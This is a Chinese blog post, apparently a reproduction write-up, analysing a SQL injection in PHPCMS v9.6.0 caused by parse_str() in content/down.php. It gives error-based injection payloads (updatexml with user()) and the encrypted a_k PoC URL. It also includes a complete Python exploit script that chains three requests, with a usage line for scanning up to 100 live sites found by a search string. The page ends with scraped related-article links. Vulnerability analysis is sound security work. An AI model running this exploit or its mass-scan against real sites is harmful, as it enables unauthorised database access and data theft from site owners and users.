调试这个漏洞的时候踩了个坑,影响的版本是php5.4以后。

由于漏洞是由parse_str()函数引起的,但是这个函数在gpc开启的时候(也就是php5.4以下)会对单引号进行过滤\'  。

看这里:https://github.com/80vul/pasc2at

漏洞来源:https://www.seebug.org/vuldb/ssvid-92929

分析:这个漏洞要三步的过程,直接进入第三步。

根据给的poc:   /phpv9.6.0/index.php?m=content&c=down&a_k=98f1bLd4Xl93HOb6nCHAem4rZNirba2Plthb5VFosbY8sc5Ge5RUOcXNmToG7KqSO4bFECOrCZKwNhkiCWbpToHPxCMsDVNT50f9b77GSaWC2sX-cwwyfhrIApZgubCyapauw4S9NTkNggs1YgGdCrk3cFXANkAC6v6UMN-be3zwZqfVLeOYdiw

可以看到应该是a_k参数出现问题,位于content目录下, down.php页面,

parse_str($a_k); 以&为分隔符,解析变量并且注册变量,并且对url进行解码 (参考:http://php.net/manual/zh/function.parse-str.php)

我们的poc是{"aid":1,"src":"&id=%27 and updatexml(1,concat(1,(user())),1)#&m=1&f=haha&modelid=2&catid=7&","filename":""}

会对id,m,f,modelid,catid 进行注册。 这里也要注册后面的参数,不然走不到get_one的流程。(有次没注册$f,调试的时候直接跳出)

进入get_one函数就开始对sql语句进行查询了。

所以就是个注入了,是由parse_str()函数引起。

接着看怎么解码的,继续下断点。

function sys_auth($string, $operation = 'ENCODE', $key = '', $expiry = 0)  函数位于 phpcms/libs/functions/global.func.php  第384-430行

好难,还是看大牛解析(http://wooyun.jozxing.cc/static/bugs/wooyun-2015-0131548.html)

看第二个请求。

代码如下:

存在注入语句的参数是 src,进入了safe_replace()函数,把常见的危险字符串过滤成空,又只进行了一次过滤,简直就是绕waf的好帮手。

设置了json_str,所以在回显中cookie有这么一段。

Set-Cookie: gggCB_att_json=4999e2GcIhZF8XVhycAj9oLE33PZMVtPv1gABnD5mdm5sI-0u9Yb4R6K5ISkWAvm8Eq2DiGdvWz4R4mSKDiKeZm-VeYkob8tukEmYPbZud6yb9cCRp9FR7tUIP92zHdUoynZYdTct2LQDeADrKgcbc1VNwUsVhPEwV8_Ngr7CegmdMsMx5mGiOI

这个post请求中有个post的参数,userid_flash ,搜索一下他干嘛的,

要存在userid,不然就不能往下执行,所以才有了第一步。

poc:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
# project = https://github.com/Xyntax/POC-T
# author = i@cdxy.me """
PHPCMS content/down.php SQL Injection version
<= 9.6.0
Type
error-based
Usage
python POC-T.py -s phpcms9.6.0-sqli -aG "Powered by PHPCMS v9" --limit 100 """ import requests
import re
from urllib import quote TIMEOUT = 3 def poc(url): payload = "&id=%*27 and updat*exml(1,con*cat(1,(us*er())),1)%23&modelid=1&catid=1&m=1&f=" cookies = {}
step1 = '{}/index.php?m=wap&a=index&siteid=1'.format(url)
for c in requests.get(step1, timeout=TIMEOUT).cookies:
if c.name[-7:] == '_siteid':
cookie_head = c.name[:6]
cookies[cookie_head + '_userid'] = c.value
cookies[c.name] = c.value
break
else:
return False step2 = "{}/index.php?m=attachment&c=attachments&a=swfupload_json&src={}".format(url, quote(payload))
for c in requests.get(step2, cookies=cookies, timeout=TIMEOUT).cookies:
if c.name[-9:] == '_att_json':
enc_payload = c.value
print '111'
break
else:
return False setp3 = url + '/index.php?m=content&c=down&a_k=' + enc_payload
print '222'
r = requests.get(setp3, cookies=cookies, timeout=TIMEOUT)
print r.content print poc('http://phpstudy.com/phpv9.6.0/')

  

PHPCMS v9.6.0 wap模块 SQL注入的更多相关文章

  1. 【漏洞复现】PHPCMS wap模块 SQL注入(附EXP)

    漏洞影响版本:v9.5.8.v9.6.0 Step1: 访问:http://www.xxx.com/index.php?m=wap&a=index&siteid=1, 获取返回的coo ...

  2. phpcms v9.6.0任意文件上传漏洞

    距离上一次写博客已经过去很长一段时间了,最近也一直在学习,只是并没有分享出来  越来越发现会的东西真的太少了,继续努力吧. 中午的时候遇到了一个站点,看到群里好多人都在搞,自己就也去试了试,拿下来后发 ...

  3. phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399)

    phpcms v9.6.0任意文件上传漏洞(CVE-2018-14399) 一.漏洞描述 PHPCMS 9.6.0版本中的libs/classes/attachment.class.php文件存在漏洞 ...

  4. PHPCMS V9轻松完成WAP手机网站搭建全教程

    ---恢复内容开始--- 应用PHPCMS V9轻松完成WAP手机网站搭建全教程 用PHPCMS最新发布的V9搭建了PHPCMS研究中心网站(http://www.17huiyi.net)完成后,有用 ...

  5. PHPcms v9.6.0 文件上传漏洞

    title: PHPcms v9.6.0 文件上传漏洞 date: 2021-4-5 tags: 渗透测试,CVE漏洞复现,文件上传 categories: 渗透测试 CVE漏洞复现 文件上传 PHP ...

  6. PHPCMS V9.6.0 SQL注入漏洞分析

    0x01 此SQL注入漏洞与metinfo v6.2.0版本以下SQL盲注漏洞个人认为较为相似.且较为有趣,故在此分析并附上exp. 0x02 首先复现漏洞,环境为: PHP:5.4.45 + Apa ...

  7. PHPCMS V9.6.0 SQL注入漏洞EXP

    运行于python3.5 import requests import time import re import sys def banner(): msg = '''--------------E ...

  8. 应用PHPCMS V9轻松完成WAP手机网站搭建全教程

    用PHPCMS最新发布的V9搭建了PHPCMS研究中心网站(http://phpcms.org.cn)完成后,有用户提出手机访问的问题,于是着手搭建WAP无线站(wap.phpcms.org.cn). ...

  9. Apache 'mod_accounting'模块SQL注入漏洞(CVE-2013-5697)

    漏洞版本: mod_accounting 0.5 漏洞描述: BUGTRAQ ID: 62677 CVE ID: CVE-2013-5697 mod_accounting是Apache 1.3.x上的 ...

随机推荐

  1. Linux下ping,telnet,ssh命令的比较

    ping工作在OSI模型的第三层,网络层. 主要用于测试到达目的主机的网络是否连接,不能检测某个端口是否开放. ping使用ICMP协议,不使用某个特定端口. 也可以 ping 域名 ,这样可以直接看 ...

  2. Java基础学习笔记二十五 MySQL

    MySQL 在dos中操作mysql 连接mysql命令: mysql -uroot -p密码 ,连接OK,会出现mysql> 对数据库的操作 创建一个库 create database 库名 ...

  3. 云计算--网络原理与应用--20171122--STP与HSRP

    简单了解STP 学习HSRP 实验 一.  简单学习STP STP(spanning tree protocol)生成树协议,就是把一个环形的结构改变成一个树形的结构.通过一些算法,在逻辑上阻塞一些端 ...

  4. alpha冲刺第五天

    一.合照 二.项目燃尽图 三.项目进展 调整了一些界面的布局 细化了部分小功能的界面 注册界面和服务器响应了,但是在insert数据库方面出现了错误 四.明日规划 继续研究如何将注册的内容插入数据库 ...

  5. 网络1711-1712班 c 语言评分总表一览

    学号 姓名 作业地址 PTA实验作业5分 PTA排名2分 阅读代码2分 总结1分 代码规范扣分-2--0 总分 是否推荐博客 1 **莹 http://www.cnblogs.com/wwwwxy12 ...

  6. 敏捷冲刺每日报告二(Java-Team)

    第二天报告(10.26  周四) 团队:Java-Team 成员: 章辉宇(284) 吴政楠(286) 陈阳(PM:288) 韩华颂(142) 胡志权(143) github地址:https://gi ...

  7. 作业07-Java GUI编程

    1. 本周学习总结 1.1 思维导图:Java图形界面总结 1.2 可选:使用常规方法总结其他上课内容. 关于事件.事件源.事件监听器的总结: 事件:用户在GUI上进行的操作,如鼠标单击.输入文字.关 ...

  8. Linux挂载

    1 文件系统中相关目录 dev:设备文件 media:挂载媒体设备,如光驱,U盘 mnt:让用户临时挂载别的文件系统 2 磁盘分区相关知识 1)磁盘包括IDE和SCSI两种接口: IDE接口:速度慢但 ...

  9. bzoj千题计划165:bzoj5127: 数据校验

    http://www.lydsy.com/JudgeOnline/upload/201712/prob12.pdf 区间的任意一个子区间都满足值域连续 等价于 区间任意一个长为2的子区间都满足值域连续 ...

  10. 浅谈 ThreadLocal

    有时,你希望将每个线程数据(如用户ID)与线程关联起来.尽管可以使用局部变量来完成此任务,但只能在本地变量存在时才这样做.也可以使用一个实例属性来保存这些数据,但是这样就必须处理线程同步问题.幸运的是 ...